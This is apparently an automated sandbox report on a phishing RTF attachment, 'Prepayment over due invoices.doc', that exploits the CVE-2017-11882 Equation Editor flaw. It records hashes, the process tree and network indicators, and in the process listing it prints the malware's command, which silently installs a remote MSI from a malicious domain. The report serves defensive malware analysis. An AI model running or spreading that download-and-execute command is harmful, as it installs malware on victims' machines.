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File name:

Prepayment over due invoices.doc

Full analysis: https://app.any.run/tasks/4d86793a-5242-4078-93c0-87482ed34afa
Verdict: Malicious activity
Analysis date: May 20, 2019, 11:07:10
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
exploit
CVE-2017-11882
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

E357623D1AFC047C1918550FC12F53E1

SHA1:

7331B69AF184A55EF002487CDAFCFE7B408B300E

SHA256:

38A7E7FF4692537127100742D620E58F5CD84631688636CC9E097F05287BD211

SSDEEP:

6144:IrlgcO1MPO48ns4EVSuAvg0p8444k444D444k444D444k444D444A447444s44M8:IXeMG8B0pjKbkl7Q2

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3716)

    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 312)

  • SUSPICIOUS

    • Executed via COM

      • EQNEDT32.EXE (PID: 3716)

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3716)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 456)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 456)

    • Application was crashed

      • EQNEDT32.EXE (PID: 3716)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

Title: Microsoft Research License Agreement
Author: aphillip
LastModifiedBy: ARIELHACKZ
CreateDate: 2007:01:18 20:22:00
ModifyDate: 2019:04:16 11:26:00
RevisionNumber: 3
TotalEditTime: 1 minute
Pages: 1
Words: -
Characters: 1
Company: Microsoft Corporation
CharactersWithSpaces: 1
InternalVersionNumber: 49247
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
5
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe

Process information

PID
CMD
Path
Indicators
Parent process
456"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Prepayment over due invoices.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3716"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
312cmd.exe & /C CD C: & msiexec.exe /i http://myfreeshopping.in/engine1/normalinvoice.msi /quiet C:\Windows\system32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1619
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2748msiexec.exe /i http://myfreeshopping.in/engine1/normalinvoice.msi /quiet C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1619
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
4008C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Total events
1 177
Read events
795
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
0
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
456WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR1044.tmp.cvr —
MD5:—
SHA256:—
456WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:AAE1F34939203117AC1F4B1DA330748D
SHA256:A8522EFD13191ED100712611DBB7B818993A3A9AEE4584A1360605C4D2C4BD74
456WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$epayment over due invoices.docpgc
MD5:D04EA7FF52094A4010984D65E344976E
SHA256:57A51407832E29D8E820A857DDCA01D0C5566E366769C547E15594CB9AB18D28
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4008
msiexec.exe
GET
404
208.91.198.131:80
http://myfreeshopping.in/engine1/normalinvoice.msi
US
html
272 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4008
msiexec.exe
208.91.198.131:80
myfreeshopping.in
PDR
US
malicious

DNS requests

Domain
IP
Reputation
myfreeshopping.in
  • 208.91.198.131
malicious

Threats

PID
Process
Class
Message
4008
msiexec.exe
Potential Corporate Privacy Violation
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
1 ETPRO signatures available at the full report
No debug info
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Reports
Prepayment over due invoices.doc